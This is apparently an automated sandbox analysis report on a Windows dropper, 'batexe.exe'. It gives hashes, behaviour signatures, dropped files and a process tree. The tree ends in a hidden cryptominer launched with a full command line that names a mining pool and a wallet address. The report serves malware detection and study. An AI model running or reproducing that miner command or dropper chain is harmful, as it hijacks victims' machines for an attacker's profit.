73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
14/02/2024, 08:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1096	b2e.exe
1340	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1340	cpuminer-sse2.exe
1340	cpuminer-sse2.exe
1340	cpuminer-sse2.exe
1340	cpuminer-sse2.exe
1340	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4016-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4016 wrote to memory of 1096	4016	batexe.exe	84
PID 4016 wrote to memory of 1096	4016	batexe.exe	84
PID 4016 wrote to memory of 1096	4016	batexe.exe	84
PID 1096 wrote to memory of 2888	1096	b2e.exe	85
PID 1096 wrote to memory of 2888	1096	b2e.exe	85
PID 1096 wrote to memory of 2888	1096	b2e.exe	85
PID 2888 wrote to memory of 1340	2888	cmd.exe	88
PID 2888 wrote to memory of 1340	2888	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4016
- C:\Users\Admin\AppData\Local\Temp\9EA1.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9EA1.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9EA1.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1096
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A151.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2888
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\9EA1.tmp\b2e.exe

Filesize
9.8MB

MD5
09e18107b38b429d4ac688386ba7b843

SHA1
a93c2087c4a4acb52bbfce7f2d9fae7994d3d60d

SHA256
c686da9cf666cf0569aa953787e64f7fec891a733d202dcd45d6736968dbadac

SHA512
982aa29bf463f82c50dbd88f90111918df742499716b2f75d03cef6b7ba3aef50d70ad225c6b62490643f2a49fa225744010cfc26ab0a449cc1b7b3577f8faa9

Download Submit
C:\Users\Admin\AppData\Local\Temp\9EA1.tmp\b2e.exe

Filesize
5.4MB

MD5
06e9a3d2b349b44e9a72d92a6f71e560

SHA1
c86df878b190ced00653d374517003d9f8e64633

SHA256
9409d22637e766ade66d8ead9ba9225a7068b968b0c171a6651dd879fe7ba231

SHA512
78a20578668a784adfecaa270b0ea6ca7f877a9230a3ef91f8d8195c44d3dcbe137f3a7d15139f451ca1dab9567c94ade2284428741e501beac7a1bfbbbddb52

Download Submit
C:\Users\Admin\AppData\Local\Temp\9EA1.tmp\b2e.exe

Filesize
4.4MB

MD5
6b030c967211a731d76e4e4cd217c02f

SHA1
c9671167140eeadf9a07cdea18ba629d4879dede

SHA256
91f72e2ebbb45bc5eb7a09cbdd61dd81afb721334d1ae09a1b21be81717a1bca

SHA512
dc1b67e2e6bfc6fe8f6e8aeb796026d8c4b215534cb59def6ae644f4f5b29c117d20815457626d1cc81214779248f52f8814132dafbf477ce8610baa989cbd0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\A151.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
c64ebee11f3c7593923352183e792ce6

SHA1
f0efa839dd9347635949473d0793613aaf30f583

SHA256
aa6a45e591239687eabfd9a6858f2b4fdaf951c70c1cd0cabc701f4f0c40e919

SHA512
b91f14a895ed3f68311d35672f5940af8c8586870e5a15209d0598747efc1975bea3448d3beca1d722412b1e455ffb014a02750f669ba4337259479dee784819

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
8779db0084a2a2cf7b96ab0de800dca6

SHA1
4571628c59ea93cede7f4bdb5a482cf2965280df

SHA256
fb1ddb53bdcd17c955be2f138be0314265a09c23ae9ff8a217523f19f32abae0

SHA512
2f5bda384616d9ea27fd7d9288f9a75222a084f73f98cb4a1e450682dc0eb74fb6d8f8007bba6a3f9fa47c376fe308675aab2e663cf7fb591862798126ba4748

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
42c4a8eac05e6036d017fdba8ff79804

SHA1
6b63e9625334b8a0b328e97b66d18e578e354d53

SHA256
ee209b1f22f15424886a2e9a940d69d0c2781970ed1c57218effc72c1284aeb4

SHA512
4b95f36349cd590a66f74f9228004e8d42e77913b3e3d3ff96aaea7630344bd25a4787064b2fc44dbef38d07b70ca420d9de5c008bb93584bc218e19c00c4218

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.3MB

MD5
f9119c1a5e735401e2d99a11de4ebc9c

SHA1
162f9b6d0b3e60f6a2349129a3a8034a64fc353f

SHA256
3252357901b32e71aeebe18b11063975f2c6b9f8fb3d4970b7dc2238e9a678dc

SHA512
c5985dccd3c4c98e26660c990c206e5dde8da557d0b3c93d1c3e0a723d6f5b0b593251cacf1f924b9494acfbd4f62b27c354fbebf034340d5018a9d6b3755184

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.2MB

MD5
d5ff12a1f3f1112fab7ed0e408003509

SHA1
81f88ffe1d4a3e6cb6efe2976ea3d965c4bcfac8

SHA256
951378c048a81134e2848330d94220e0f55864cc04521a375486af3be19d6f56

SHA512
682c5c3ef450763a542c7652ab919918cb931ceba01df2322c525f4837e86695192e521488d4d0757f25e0a3462e3ec27cb02e74ca0d18624e2ea510ddf5e555

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1096-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1096-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1340-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1340-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1340-45-0x000000005FC20000-0x000000005FCB8000-memory.dmp

Filesize
608KB

Download
memory/1340-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1340-47-0x00000000010F0000-0x00000000029A5000-memory.dmp

Filesize
24.7MB

Download
memory/1340-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1340-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1340-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1340-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1340-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1340-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1340-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1340-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4016-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download